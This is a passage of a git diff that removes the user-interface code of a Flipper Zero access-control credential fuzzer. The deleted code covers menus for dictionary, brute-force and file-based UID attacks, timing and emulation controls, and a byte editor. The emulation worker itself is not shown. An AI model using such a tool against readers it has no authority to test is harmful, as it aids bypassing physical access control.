popup_enable_timeout(popup); - - view_dispatcher_switch_to_view(app->view_dispatcher, FuzzerViewIDMain); -} - -bool fuzzer_scene_main_on_event(void* context, SceneManagerEvent event) { - furi_assert(context); - PacsFuzzerApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == FuzzerCustomEventViewMainBack) { - if(!scene_manager_previous_scene(app->scene_manager)) { - scene_manager_stop(app->scene_manager); - view_dispatcher_stop(app->view_dispatcher); - } - consumed = true; - } else if(event.event == FuzzerCustomEventViewMainPopupErr) { - view_dispatcher_switch_to_view(app->view_dispatcher, FuzzerViewIDMain); - consumed = true; - } else if(event.event == FuzzerCustomEventViewMainOk) { - fuzzer_view_main_get_state(app->main_view, &app->fuzzer_state); - - // TODO error logic - bool loading_ok = false; - - switch(fuzzer_proto_get_attack_id_by_index(app->fuzzer_state.menu_index)) { - case FuzzerAttackIdDefaultValues: - loading_ok = - fuzzer_worker_init_attack_dict(app->worker, app->fuzzer_state.proto_index); - - if(!loading_ok) { - // error - fuzzer_scene_main_show_error(app, "Default dictionary\nis empty"); - } - break; - - case FuzzerAttackIdBFCustomerID: - // TODO - app->payload->data_size = fuzzer_proto_get_max_data_size(); - memset(app->payload->data, 0x00, app->payload->data_size); - - if(fuzzer_worker_init_attack_bf_byte( - app->worker, app->fuzzer_state.proto_index, app->payload, 0)) { - scene_manager_set_scene_state( - app->scene_manager, - FuzzerSceneFieldEditor, - FuzzerFieldEditorStateEditingOff); - scene_manager_next_scene(app->scene_manager, FuzzerSceneFieldEditor); - - } else { - // error - } - break; - - case FuzzerAttackIdLoadFile: - if(!fuzzer_scene_main_load_key_dialog(app)) { - break; - } else { - switch(fuzzer_worker_load_key_from_file( - app->worker, - &app->fuzzer_state.proto_index, - furi_string_get_cstr(app->file_path))) { - case FuzzerWorkerLoadKeyStateOk: - case FuzzerWorkerLoadKeyStateDifferentProto: - scene_manager_set_scene_state( - app->scene_manager, - FuzzerSceneFieldEditor, - FuzzerFieldEditorStateEditingOn); - scene_manager_next_scene(app->scene_manager, FuzzerSceneFieldEditor); - FURI_LOG_I(TAG, "Load ok"); - break; - - case FuzzerWorkerLoadKeyStateBadFile: - fuzzer_scene_main_show_error(app, "Cant load\nor broken file"); - FURI_LOG_E(TAG, "Cant load or broken file"); - break; - - case FuzzerWorkerLoadKeyStateUnsuportedProto: - fuzzer_scene_main_show_error(app, "Unsupported protocol"); - FURI_LOG_E(TAG, "Unsupported protocol"); - break; - } - } - break; - - case FuzzerAttackIdLoadFileCustomUids: - if(!fuzzer_scene_main_load_custom_dict(app)) { - break; - } else { - loading_ok = fuzzer_worker_init_attack_file_dict( - app->worker, app->fuzzer_state.proto_index, app->file_path); - if(!loading_ok) { - fuzzer_scene_main_show_error(app, "Incorrect key format\nor length"); - // error - } - } - break; - - default: - fuzzer_scene_main_show_error(app, "Unsuported attack"); - break; - } - - if(loading_ok) { - scene_manager_next_scene(app->scene_manager, FuzzerSceneAttack); - } - consumed = true; - } - } - - return consumed; -} - -void fuzzer_scene_main_on_exit(void* context) { - // furi_assert(context); - // PacsFuzzerApp* app = context; - UNUSED(context); -} diff --git a/applications/external/multi_fuzzer/scenes/fuzzer_scene_save_name.c b/applications/external/multi_fuzzer/scenes/fuzzer_scene_save_name.c deleted file mode 100644 index c622f59b3..000000000 --- a/applications/external/multi_fuzzer/scenes/fuzzer_scene_save_name.c +++ /dev/null @@ -1,67 +0,0 @@ -#include "../fuzzer_i.h" - -#include -#include - -static void fuzzer_scene_save_name_text_input_callback(void* context) { - PacsFuzzerApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, FuzzerCustomEventTextEditResult); -} - -void fuzzer_scene_save_name_on_enter(void* context) { - PacsFuzzerApp* app = context; - TextInput* text_input = app->text_input; - - name_generator_make_auto(app->key_name, KEY_NAME_SIZE, app->fuzzer_const->file_prefix); - - text_input_set_header_text(text_input, "Name the key"); - text_input_set_result_callback( - text_input, - fuzzer_scene_save_name_text_input_callback, - app, - app->key_name, - KEY_NAME_SIZE, - true); - - ValidatorIsFile* validator_is_file = validator_is_file_alloc_init( - app->fuzzer_const->path_key_folder, app->fuzzer_const->key_extension, app->key_name); - text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); - - view_dispatcher_switch_to_view(app->view_dispatcher, FuzzerViewIDTextInput); -} - -bool fuzzer_scene_save_name_on_event(void* context, SceneManagerEvent event) { - PacsFuzzerApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == FuzzerCustomEventTextEditResult) { - consumed = true; - furi_string_printf( - app->file_path, - "%s/%s%s", - app->fuzzer_const->path_key_folder, - app->key_name, - app->fuzzer_const->key_extension); - - if(fuzzer_worker_save_key(app->worker, furi_string_get_cstr(app->file_path))) { - scene_manager_next_scene(app->scene_manager, FuzzerSceneSaveSuccess); - } else { - scene_manager_previous_scene(app->scene_manager); - } - } - } - - return consumed; -} - -void fuzzer_scene_save_name_on_exit(void* context) { - PacsFuzzerApp* app = context; - TextInput* text_input = app->text_input; - - void* validator_context = text_input_get_validator_callback_context(text_input); - text_input_set_validator(text_input, NULL, NULL); - validator_is_file_free((ValidatorIsFile*)validator_context); - - text_input_reset(text_input); -} diff --git a/applications/external/multi_fuzzer/scenes/fuzzer_scene_save_success.c b/applications/external/multi_fuzzer/scenes/fuzzer_scene_save_success.c deleted file mode 100644 index 773ba6ddc..000000000 --- a/applications/external/multi_fuzzer/scenes/fuzzer_scene_save_success.c +++ /dev/null @@ -1,44 +0,0 @@ -#include "../fuzzer_i.h" - -static void fuzzer_scene_save_popup_timeout_callback(void* context) { - PacsFuzzerApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, FuzzerCustomEventPopupClosed); -} - -void fuzzer_scene_save_success_on_enter(void* context) { - PacsFuzzerApp* app = context; - Popup* popup = app->popup; - - popup_set_icon(popup, 32, 5, &I_DolphinNice_96x59); - popup_set_header(popup, "Saved!", 5, 7, AlignLeft, AlignTop); - popup_set_context(popup, app); - popup_set_callback(popup, fuzzer_scene_save_popup_timeout_callback); - popup_set_timeout(popup, 1500); - popup_enable_timeout(popup); - - view_dispatcher_switch_to_view(app->view_dispatcher, FuzzerViewIDPopup); -} - -bool fuzzer_scene_save_success_on_event(void* context, SceneManagerEvent event) { - PacsFuzzerApp* app = context; - bool consumed = false; - - if((event.type == SceneManagerEventTypeBack) || - ((event.type == SceneManagerEventTypeCustom) && - (event.event == FuzzerCustomEventPopupClosed))) { - bool result = scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, FuzzerSceneAttack); - if(!result) { - scene_manager_search_and_switch_to_previous_scene(app->scene_manager, FuzzerSceneMain); - } - consumed = true; - } - - return consumed; -} - -void fuzzer_scene_save_success_on_exit(void* context) { - PacsFuzzerApp* app = context; - - popup_reset(app->popup); -} diff --git a/applications/external/multi_fuzzer/views/attack.c b/applications/external/multi_fuzzer/views/attack.c deleted file mode 100644 index 4748c3686..000000000 --- a/applications/external/multi_fuzzer/views/attack.c +++ /dev/null @@ -1,495 +0,0 @@ -#include "attack.h" -#include "../fuzzer_i.h" - -#include -#include - -#define ATTACK_SCENE_MAX_UID_LENGTH 25 -#define UID_MAX_DISPLAYED_LEN (8U) -#define LEFT_RIGHT_OFFSET (3U) - -#define LINE_1_Y (12U) -#define LINE_2_Y (24U) -#define LINE_3_Y (36U) -#define LINE_4_Y (48U) - -struct FuzzerViewAttack { - View* view; - FuzzerViewAttackCallback callback; - void* context; -}; - -typedef struct { - uint8_t time_delay; // 1 = 100ms - uint8_t time_delay_min; // 1 = 100ms - uint8_t emu_time; // 1 = 100ms - uint8_t emu_time_min; // 1 = 100ms - bool td_emt_cursor; // false - time_delay, true - emu_time - const char* attack_name; - const char* protocol_name; - FuzzerAttackState attack_state; - FuriString* uid_str; -} FuzzerViewAttackModel; - -void fuzzer_view_attack_reset_data( - FuzzerViewAttack* view, - const char* attack_name, - const char* protocol_name) { - furi_assert(view); - - with_view_model( - view->view, - FuzzerViewAttackModel * model, - { - model->attack_name = attack_name; - model->protocol_name = protocol_name; - model->attack_state = FuzzerAttackStateIdle; - furi_string_set_str(model->uid_str, "Not_set"); - }, - true); -} - -void fuzzer_view_attack_set_uid(FuzzerViewAttack* view, const FuzzerPayload* uid) { - furi_assert(view); - furi_assert(uid->data); - - with_view_model( - view->view, - FuzzerViewAttackModel * model, - { - furi_string_printf(model->uid_str, "%02X", uid->data[0]); - for(uint8_t i = 1; i < uid->data_size; i++) { - furi_string_cat_printf(model->uid_str, ":%02X", uid->data[i]); - } - }, - true); -} - -void fuzzer_view_update_state(FuzzerViewAttack* view, FuzzerAttackState state) { - furi_assert(view); - - with_view_model( - view->view, FuzzerViewAttackModel * model, { model->attack_state = state; }, true); -} - -void fuzzer_view_attack_set_callback( - FuzzerViewAttack* view_attack, - FuzzerViewAttackCallback callback, - void* context) { - furi_assert(view_attack); - - view_attack->callback = callback; - view_attack->context = context; -} - -static void - fuzzer_view_attack_draw_time_delays_line(Canvas* canvas, FuzzerViewAttackModel* model) { - char temp_str[25]; - uint16_t crt; - const uint16_t y = LINE_2_Y; - - canvas_set_font(canvas, FontPrimary); - - if(!model->td_emt_cursor) { - canvas_set_font(canvas, FontSecondary); - snprintf(temp_str, sizeof(temp_str), "Time delay:"); - canvas_draw_str_aligned(canvas, LEFT_RIGHT_OFFSET, y, AlignLeft, AlignBottom, temp_str); - crt = canvas_string_width(canvas, temp_str); - - canvas_set_font(canvas, FontPrimary); - snprintf( - temp_str, sizeof(temp_str), "%d.%d", model->time_delay / 10, model->time_delay % 10); - canvas_draw_str_aligned( - canvas, crt + LEFT_RIGHT_OFFSET + 3, y, AlignLeft, AlignBottom, temp_str); - - canvas_set_font(canvas, FontSecondary); - snprintf( - temp_str, sizeof(temp_str), "EmT: %d.%d", model->emu_time / 10, model->emu_time % 10); - canvas_draw_str_aligned( - canvas, 128 - LEFT_RIGHT_OFFSET, y, AlignRight, AlignBottom, temp_str); - } else { - canvas_set_font(canvas, FontSecondary); - snprintf( - temp_str, - sizeof(temp_str), - "TD: %d.%d", - model->time_delay / 10, - model->time_delay % 10); - - canvas_draw_str_aligned(canvas, LEFT_RIGHT_OFFSET, y, AlignLeft, AlignBottom, temp_str); - - canvas_set_font(canvas, FontPrimary); - snprintf(temp_str, sizeof(temp_str), "%d.%d", model->emu_time / 10, model->emu_time % 10); - canvas_draw_str_aligned( - canvas, 128 - LEFT_RIGHT_OFFSET, y, AlignRight, AlignBottom, temp_str); - crt = canvas_string_width(canvas, temp_str); - - canvas_set_font(canvas, FontSecondary); - snprintf(temp_str, sizeof(temp_str), "Emulation time:"); - canvas_draw_str_aligned( - canvas, 128 - LEFT_RIGHT_OFFSET - crt - 3, y, AlignRight, AlignBottom, temp_str); - } -} - -static void fuzzer_view_attack_draw_time_delays_str(Canvas* canvas, FuzzerViewAttackModel* model) { - char temp_str[20]; - uint16_t crt; - const uint16_t y = LINE_2_Y; - - canvas_set_font(canvas, FontSecondary); - snprintf( - temp_str, - sizeof(temp_str), - "TD: %d.%d Emt: %d.%d", - model->time_delay / 10, - model->time_delay % 10, - model->emu_time / 10, - model->emu_time % 10); - - crt = canvas_string_width(canvas, temp_str); - - canvas_draw_str_aligned( - canvas, 128 - LEFT_RIGHT_OFFSET - crt, y, AlignLeft, AlignBottom, temp_str); -} - -static void fuzzer_view_attack_draw_idle(Canvas* canvas, FuzzerViewAttackModel* model) { - if(model->td_emt_cursor) { - elements_button_center(canvas, "Start"); - elements_button_left(canvas, "EmT -"); - elements_button_right(canvas, "+ EmT"); - } else { - elements_button_center(canvas, "Start"); - elements_button_left(canvas, "TD -"); - elements_button_right(canvas, "+ TD"); - } -} - -static void fuzzer_view_attack_draw_running(Canvas* canvas, FuzzerViewAttackModel* model) { - UNUSED(model); - elements_button_left(canvas, "Stop"); - elements_button_center(canvas, "Pause"); -} - -static void fuzzer_view_attack_draw_end(Canvas* canvas, FuzzerViewAttackModel* model) { - UNUSED(model); - // elements_button_center(canvas, "Restart"); // Reset - elements_button_left(canvas, "Exit"); -} - -void fuzzer_view_attack_draw(Canvas* canvas, FuzzerViewAttackModel* model) { - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - - // Header - Attack name - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 64, LINE_1_Y, AlignCenter, AlignBottom, model->attack_name); - - // Time delays line or Status line - switch(model->attack_state) { - case FuzzerAttackStateIdle: - fuzzer_view_attack_draw_time_delays_line(canvas, model); - break; - - case FuzzerAttackStateAttacking: - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, LEFT_RIGHT_OFFSET, LINE_2_Y, "Attacking"); - fuzzer_view_attack_draw_time_delays_str(canvas, model); - - break; - - case FuzzerAttackStateEmulating: - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 64, LINE_2_Y, AlignCenter, AlignBottom, "Emulating:"); - - break; - - case FuzzerAttackStatePause: - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, LEFT_RIGHT_OFFSET, LINE_2_Y, "Paused"); - - canvas_set_font(canvas, FontSecondary); - canvas_draw_icon_ex(canvas, 62, LINE_2_Y - 9, &I_Pin_arrow_up_7x9, IconRotation180); - canvas_draw_icon(canvas, 69, LINE_2_Y - 9, &I_Pin_arrow_up_7x9); - canvas_draw_str(canvas, 79, LINE_2_Y, "Change UID"); - break; - - case FuzzerAttackStateEnd: - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 64, LINE_2_Y, AlignCenter, AlignBottom, "Attack is over"); - - break; - - default: - break; - } - - // Protocol name - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 64, LINE_3_Y, AlignCenter, AlignBottom, model->protocol_name); - - // Current UID - canvas_set_font(canvas, FontPrimary); - if(128 < canvas_string_width(canvas, furi_string_get_cstr(model->uid_str))) { - canvas_set_font(canvas, FontSecondary); - } - canvas_draw_str_aligned( - canvas, 64, LINE_4_Y, AlignCenter, AlignBottom, furi_string_get_cstr(model->uid_str)); - - // Btns - canvas_set_font(canvas, FontSecondary); - if(model->attack_state == FuzzerAttackStateAttacking || - model->attack_state == FuzzerAttackStateEmulating) { - fuzzer_view_attack_draw_running(canvas, model); - } else if(model->attack_state == FuzzerAttackStateIdle) { - fuzzer_view_attack_draw_idle(canvas, model); - } else if(model->attack_state == FuzzerAttackStatePause) { - elements_button_left(canvas, "Back"); - elements_button_right(canvas, "Save"); - elements_button_center(canvas, "Emu"); - } else if(model->attack_state == FuzzerAttackStateEnd) { - fuzzer_view_attack_draw_end(canvas, model); - } -} - -static bool fuzzer_view_attack_input_idle( - FuzzerViewAttack* view_attack, - InputEvent* event, - FuzzerViewAttackModel* model) { - if(event->key == InputKeyBack && event->type == InputTypeShort) { - view_attack->callback(FuzzerCustomEventViewAttackExit, view_attack->context); - return true; - } else if(event->key == InputKeyOk && event->type == InputTypeShort) { - view_attack->callback(FuzzerCustomEventViewAttackRunAttack, view_attack->context); - return true; - } else if(event->key == InputKeyLeft) { - if(!model->td_emt_cursor) { - // TimeDelay -- - if(event->type == InputTypeShort) { - if(model->time_delay > model->time_delay_min) { - model->time_delay--; - } - } else if(event->type == InputTypeLong || event->type == InputTypeRepeat) { - if((model->time_delay - 10) >= model->time_delay_min) { - model->time_delay -= 10; - } else { - model->time_delay = model->time_delay_min; - } - } - } else { - // EmuTime -- - if(event->type == InputTypeShort) { - if(model->emu_time > model->emu_time_min) { - model->emu_time--; - } - } else if(event->type == InputTypeLong || event->type == InputTypeRepeat) { - if((model->emu_time - 10) >= model->emu_time_min) { - model->emu_time -= 10; - } else { - model->emu_time = model->emu_time_min; - } - } - } - return true; - } else if(event->key == InputKeyRight) { - if(!model->td_emt_cursor) { - // TimeDelay ++ - if(event->type == InputTypeShort) { - if(model->time_delay < FUZZ_TIME_DELAY_MAX) { - model->time_delay++; - } - } else if(event->type == InputTypeLong || event->type == InputTypeRepeat) { - model->time_delay += 10; - if(model->time_delay > FUZZ_TIME_DELAY_MAX) { - model->time_delay = FUZZ_TIME_DELAY_MAX; - } - } - } else { - // EmuTime ++ - if(event->type == InputTypeShort) { - if(model->emu_time < FUZZ_TIME_DELAY_MAX) { - model->emu_time++; - } - } else if(event->type == InputTypeLong || event->type == InputTypeRepeat) { - model->emu_time += 10; - if(model->emu_time > FUZZ_TIME_DELAY_MAX) { - model->emu_time = FUZZ_TIME_DELAY_MAX; - } - } - } - return true; - } else if( - (event->key == InputKeyUp || event->key == InputKeyDown) && - event->type == InputTypeShort) { - with_view_model( - view_attack->view, - FuzzerViewAttackModel * model, - { model->td_emt_cursor = !model->td_emt_cursor; }, - true); - return true; - } - return true; -} - -static bool fuzzer_view_attack_input_end( - FuzzerViewAttack* view_attack, - InputEvent* event, - FuzzerViewAttackModel* model) { - UNUSED(model); - if((event->key == InputKeyBack || event->key == InputKeyLeft) && - event->type == InputTypeShort) { - // Exit if Ended - view_attack->callback(FuzzerCustomEventViewAttackExit, view_attack->context); - } - return true; -} - -bool fuzzer_view_attack_input(InputEvent* event, void* context) { - furi_assert(context); - FuzzerViewAttack* view_attack = context; - - // if(event->key == InputKeyBack && event->type == InputTypeShort) { - // view_attack->callback(FuzzerCustomEventViewAttackBack, view_attack->context); - // return true; - // } else if(event->key == InputKeyOk && event->type == InputTypeShort) { - // view_attack->callback(FuzzerCustomEventViewAttackOk, view_attack->context); - // return true; - // } else - // { - with_view_model( - view_attack->view, - FuzzerViewAttackModel * model, - { - switch(model->attack_state) { - case FuzzerAttackStateIdle: - fuzzer_view_attack_input_idle(view_attack, event, model); - break; - - case FuzzerAttackStateEnd: - fuzzer_view_attack_input_end(view_attack, event, model); - break; - - case FuzzerAttackStateAttacking: - case FuzzerAttackStateEmulating: - if((event->key == InputKeyBack || event->key == InputKeyLeft) && - event->type == InputTypeShort) { - view_attack->callback(FuzzerCustomEventViewAttackIdle, view_attack->context); - } else if(event->key == InputKeyOk && event->type == InputTypeShort) { - view_attack->callback(FuzzerCustomEventViewAttackPause, view_attack->context); - } - break; - - case FuzzerAttackStatePause: - if((event->key == InputKeyBack || event->key == InputKeyLeft) && - event->type == InputTypeShort) { - view_attack->callback(FuzzerCustomEventViewAttackIdle, view_attack->context); - } else if(event->key == InputKeyRight && event->type == InputTypeShort) { - view_attack->callback(FuzzerCustomEventViewAttackSave, view_attack->context); - } else if(event->key == InputKeyOk && event->type == InputTypeShort) { - view_attack->callback( - FuzzerCustomEventViewAttackEmulateCurrent, view_attack->context); - } else if(event->key == InputKeyUp && event->type == InputTypeShort) { - view_attack->callback( - FuzzerCustomEventViewAttackPrevUid, view_attack->context); - } else if(event->key == InputKeyDown && event->type == InputTypeShort) { - view_attack->callback( - FuzzerCustomEventViewAttackNextUid, view_attack->context); - } - break; - - default: - break; - } - }, - true); - // } - - return true; -} - -void fuzzer_view_attack_enter(void* context) { - furi_assert(context); -} - -void fuzzer_view_attack_exit(void* context) { - furi_assert(context); - FuzzerViewAttack* view_attack = context; - with_view_model( - view_attack->view, FuzzerViewAttackModel * model, { model->td_emt_cursor = false; }, true); -} - -FuzzerViewAttack* fuzzer_view_attack_alloc() { - if(fuzzer_proto_get_max_data_size() > UID_MAX_DISPLAYED_LEN) { - furi_crash("Maximum of displayed bytes exceeded"); - } - - FuzzerViewAttack* view_attack = malloc(sizeof(FuzzerViewAttack)); - - // View allocation and configuration - view_attack->view = view_alloc(); - view_allocate_model(view_attack->view, ViewModelTypeLocking, sizeof(FuzzerViewAttackModel)); - view_set_context(view_attack->view, view_attack); - view_set_draw_callback(view_attack->view, (ViewDrawCallback)fuzzer_view_attack_draw); - view_set_input_callback(view_attack->view, fuzzer_view_attack_input); - view_set_enter_callback(view_attack->view, fuzzer_view_attack_enter); - view_set_exit_callback(view_attack->view, fuzzer_view_attack_exit); - - with_view_model( - view_attack->view, - FuzzerViewAttackModel * model, - { - model->time_delay = fuzzer_proto_get_def_idle_time(); - model->time_delay_min = 0; // model->time_delay; - - model->emu_time = fuzzer_proto_get_def_emu_time(); - - model->emu_time_min = 2; // model->emu_time; - - model->uid_str = furi_string_alloc_set_str("Not_set"); - // malloc(ATTACK_SCENE_MAX_UID_LENGTH + 1); - model->attack_state = FuzzerAttackStateOff; - model->td_emt_cursor = false; - - // strcpy(model->uid_str, "Not_set"); - model->attack_name = "Not_set"; - model->protocol_name = "Not_set"; - }, - true); - return view_attack; -} - -void fuzzer_view_attack_free(FuzzerViewAttack* view_attack) { - furi_assert(view_attack); - - with_view_model( - view_attack->view, - FuzzerViewAttackModel * model, - { furi_string_free(model->uid_str); }, - true); - view_free(view_attack->view); - free(view_attack); -} - -View* fuzzer_view_attack_get_view(FuzzerViewAttack* view_attack) { - furi_assert(view_attack); - return view_attack->view; -} - -uint8_t fuzzer_view_attack_get_time_delay(FuzzerViewAttack* view) { - furi_assert(view); - uint8_t time_delay; - - with_view_model( - view->view, FuzzerViewAttackModel * model, { time_delay = model->time_delay; }, false); - - return time_delay; -} - -uint8_t fuzzer_view_attack_get_emu_time(FuzzerViewAttack* view) { - furi_assert(view); - uint8_t emu_time; - - with_view_model( - view->view, FuzzerViewAttackModel * model, { emu_time = model->emu_time; }, false); - - return emu_time; -} \ No newline at end of file diff --git a/applications/external/multi_fuzzer/views/attack.h b/applications/external/multi_fuzzer/views/attack.h deleted file mode 100644 index 08706db71..000000000 --- a/applications/external/multi_fuzzer/views/attack.h +++ /dev/null @@ -1,36 +0,0 @@ -#pragma once - -#include - -#include "../helpers/fuzzer_custom_event.h" -#include "../helpers/fuzzer_types.h" - -#include "../lib/worker/protocol.h" - -typedef struct FuzzerViewAttack FuzzerViewAttack; - -typedef void (*FuzzerViewAttackCallback)(FuzzerCustomEvent event, void* context); - -void fuzzer_view_attack_set_callback( - FuzzerViewAttack* view_attack, - FuzzerViewAttackCallback callback, - void* context); - -FuzzerViewAttack* fuzzer_view_attack_alloc(); - -void fuzzer_view_attack_free(FuzzerViewAttack* view_attack); - -View* fuzzer_view_attack_get_view(FuzzerViewAttack* view_attack); - -void fuzzer_view_attack_reset_data( - FuzzerViewAttack* view, - const char* attack_name, - const char* protocol_name); - -void fuzzer_view_attack_set_uid(FuzzerViewAttack* view, const FuzzerPayload* uid); - -void fuzzer_view_update_state(FuzzerViewAttack* view, FuzzerAttackState state); - -uint8_t fuzzer_view_attack_get_time_delay(FuzzerViewAttack* view); - -uint8_t fuzzer_view_attack_get_emu_time(FuzzerViewAttack* view); \ No newline at end of file diff --git a/applications/external/multi_fuzzer/views/field_editor.c b/applications/external/multi_fuzzer/views/field_editor.c deleted file mode 100644 index bdce0a516..000000000 --- a/applications/external/multi_fuzzer/views/field_editor.c +++ /dev/null @@ -1,358 +0,0 @@ -#include "field_editor.h" -#include "../fuzzer_i.h" - -#include -#include -#include - -#define FIELD_EDITOR_V2 - -#define GUI_DISPLAY_WIDTH 128 -#define GUI_DISPLAY_HEIGHT 64 - -#define GUI_DISPLAY_HORIZONTAL_CENTER 64 -#define GUI_DISPLAY_VERTICAL_CENTER 32 - -#define UID_STR_LENGTH 25 - -#ifdef FIELD_EDITOR_V2 -#define EDITOR_STRING_Y 38 -#else -#define EDITOR_STRING_Y 50 -#endif - -struct FuzzerViewFieldEditor { - View* view; - FuzzerViewFieldEditorCallback callback; - void* context; -}; - -typedef struct { - uint8_t* uid; - uint8_t uid_size; - - FuriString* uid_str; - - uint8_t index; - bool lo; - bool allow_edit; -} FuzzerViewFieldEditorModel; - -void fuzzer_view_field_editor_set_callback( - FuzzerViewFieldEditor* view_edit, - FuzzerViewFieldEditorCallback callback, - void* context) { - furi_assert(view_edit); - - view_edit->callback = callback; - view_edit->context = context; -} - -void fuzzer_view_field_editor_reset_data( - FuzzerViewFieldEditor* view_edit, - const FuzzerPayload* new_uid, - bool allow_edit) { - furi_assert(view_edit); - furi_assert(new_uid->data); - - with_view_model( - view_edit->view, - FuzzerViewFieldEditorModel * model, - { - memcpy(model->uid, new_uid->data, new_uid->data_size); - model->index = 0; - model->lo = false; - model->uid_size = new_uid->data_size; - model->allow_edit = allow_edit; - }, - true); -} - -void fuzzer_view_field_editor_get_uid(FuzzerViewFieldEditor* view_edit, FuzzerPayload* output_uid) { - furi_assert(view_edit); - furi_assert(output_uid); - with_view_model( - view_edit->view, - FuzzerViewFieldEditorModel * model, - { - output_uid->data_size = model->uid_size; - memcpy(output_uid->data, model->uid, model->uid_size); - }, - true); -} - -uint8_t fuzzer_view_field_editor_get_index(FuzzerViewFieldEditor* view_edit) { - furi_assert(view_edit); - uint8_t index; - with_view_model( - view_edit->view, FuzzerViewFieldEditorModel * model, { index = model->index; }, true); - return index; -} - -void fuzzer_view_field_editor_draw(Canvas* canvas, FuzzerViewFieldEditorModel* model) { - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - -#ifdef FIELD_EDITOR_V2 - - canvas_set_font(canvas, FontSecondary); - if(model->allow_edit) { - canvas_draw_icon(canvas, 2, 4, &I_ButtonLeft_4x7); - canvas_draw_icon(canvas, 8, 4, &I_ButtonRight_4x7); - - canvas_draw_icon_ex(canvas, 62, 3, &I_Pin_arrow_up_7x9, IconRotation180); - canvas_draw_icon(canvas, 69, 3, &I_Pin_arrow_up_7x9); - - canvas_draw_str(canvas, 14, 10, "select byte"); - canvas_draw_str(canvas, 79, 10, "adjust byte"); - } else { - canvas_draw_icon(canvas, 35, 4, &I_ButtonLeft_4x7); - canvas_draw_icon(canvas, 41, 4, &I_ButtonRight_4x7); - canvas_draw_str(canvas, 49, 10, "select byte"); - } - - char msg_index[18]; - canvas_set_font(canvas, FontPrimary); - snprintf(msg_index, sizeof(msg_index), "Field index : %d", model->index); - - canvas_draw_str_aligned( - canvas, GUI_DISPLAY_HORIZONTAL_CENTER, 24, AlignCenter, AlignBottom, msg_index); - - canvas_set_font(canvas, FontSecondary); - canvas_draw_icon(canvas, 4, 52, &I_Pin_back_arrow_10x8); - canvas_draw_icon(canvas, 85, 52, &I_Ok_btn_9x9); - - canvas_draw_str(canvas, 16, 60, "Back"); - canvas_draw_str(canvas, 96, 60, "Attack"); -#else - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned( - canvas, - GUI_DISPLAY_HORIZONTAL_CENTER, - 5, - AlignCenter, - AlignTop, - "Left and right: select byte"); - canvas_draw_str_aligned( - canvas, - GUI_DISPLAY_HORIZONTAL_CENTER, - 15, - AlignCenter, - AlignTop, - "Up and down: adjust byte"); - - char msg_index[18]; - canvas_set_font(canvas, FontPrimary); - snprintf(msg_index, sizeof(msg_index), "Field index : %d", model->index); - canvas_draw_str_aligned( - canvas, GUI_DISPLAY_HORIZONTAL_CENTER, 28, AlignCenter, AlignTop, msg_index); -#endif - // ####### Editor ####### - FuriString* temp_s = model->uid_str; - canvas_set_font(canvas, FontSecondary); - - furi_string_reset(temp_s); - for(int i = -3; i != 0; i++) { - if(0 <= (model->index + i)) { - furi_string_cat_printf(temp_s, "%02X ", model->uid[model->index + i]); - } - } - canvas_draw_str_aligned( - canvas, 52, EDITOR_STRING_Y, AlignRight, AlignBottom, furi_string_get_cstr(temp_s)); - - furi_string_reset(temp_s); - for(int i = 1; i != 4; i++) { - if((model->index + i) < model->uid_size) { - furi_string_cat_printf(temp_s, " %02X", model->uid[model->index + i]); - } - } - canvas_draw_str_aligned( - canvas, 77, EDITOR_STRING_Y, AlignLeft, AlignBottom, furi_string_get_cstr(temp_s)); - - canvas_set_font(canvas, FontPrimary); - - furi_string_reset(temp_s); - furi_string_cat_printf(temp_s, "<%02X>", model->uid[model->index]); - canvas_draw_str_aligned( - canvas, - GUI_DISPLAY_HORIZONTAL_CENTER, - EDITOR_STRING_Y, - AlignCenter, - AlignBottom, - furi_string_get_cstr(temp_s)); - - uint16_t w = canvas_string_width(canvas, furi_string_get_cstr(temp_s)); - w -= 11; // '<' & '>' - w /= 2; - - if(model->allow_edit) { - if(model->lo) { - canvas_draw_line( - canvas, - GUI_DISPLAY_HORIZONTAL_CENTER + 1, - EDITOR_STRING_Y + 2, - GUI_DISPLAY_HORIZONTAL_CENTER + w, - EDITOR_STRING_Y + 2); - } else { - canvas_draw_line( - canvas, - GUI_DISPLAY_HORIZONTAL_CENTER - w, - EDITOR_STRING_Y + 2, - GUI_DISPLAY_HORIZONTAL_CENTER - 1, - EDITOR_STRING_Y + 2); - } - } else { - // canvas_draw_line( - // canvas, - // GUI_DISPLAY_HORIZONTAL_CENTER - w, - // EDITOR_STRING_Y + 2, - // GUI_DISPLAY_HORIZONTAL_CENTER + w, - // EDITOR_STRING_Y + 2); - } - // ####### Editor ####### -} - -bool fuzzer_view_field_editor_input(InputEvent* event, void* context) { - furi_assert(context); - FuzzerViewFieldEditor* view_edit = context; - - if(event->key == InputKeyBack && event->type == InputTypeShort) { - view_edit->callback(FuzzerCustomEventViewFieldEditorBack, view_edit->context); - return true; - } else if(event->key == InputKeyOk && event->type == InputTypeShort) { - view_edit->callback(FuzzerCustomEventViewFieldEditorOk, view_edit->context); - return true; - } else if(event->key == InputKeyLeft) { - with_view_model( - view_edit->view, - FuzzerViewFieldEditorModel * model, - { - if(event->type == InputTypeShort) { - if(!model->allow_edit) { - model->lo = false; - } - if(model->index > 0 || model->lo) { - if(!model->lo) { - model->index--; - } - model->lo = !model->lo; - } - } else if(event->type == InputTypeLong) { - model->index = 0; - model->lo = false; - } - }, - true); - return true; - } else if(event->key == InputKeyRight) { - with_view_model( - view_edit->view, - FuzzerViewFieldEditorModel * model, - { - if(event->type == InputTypeShort) { - if(!model->allow_edit) { - model->lo = true; - } - if(model->index < (model->uid_size - 1) || !model->lo) { - if(model->lo) { - model->index++; - } - model->lo = !model->lo; - } - 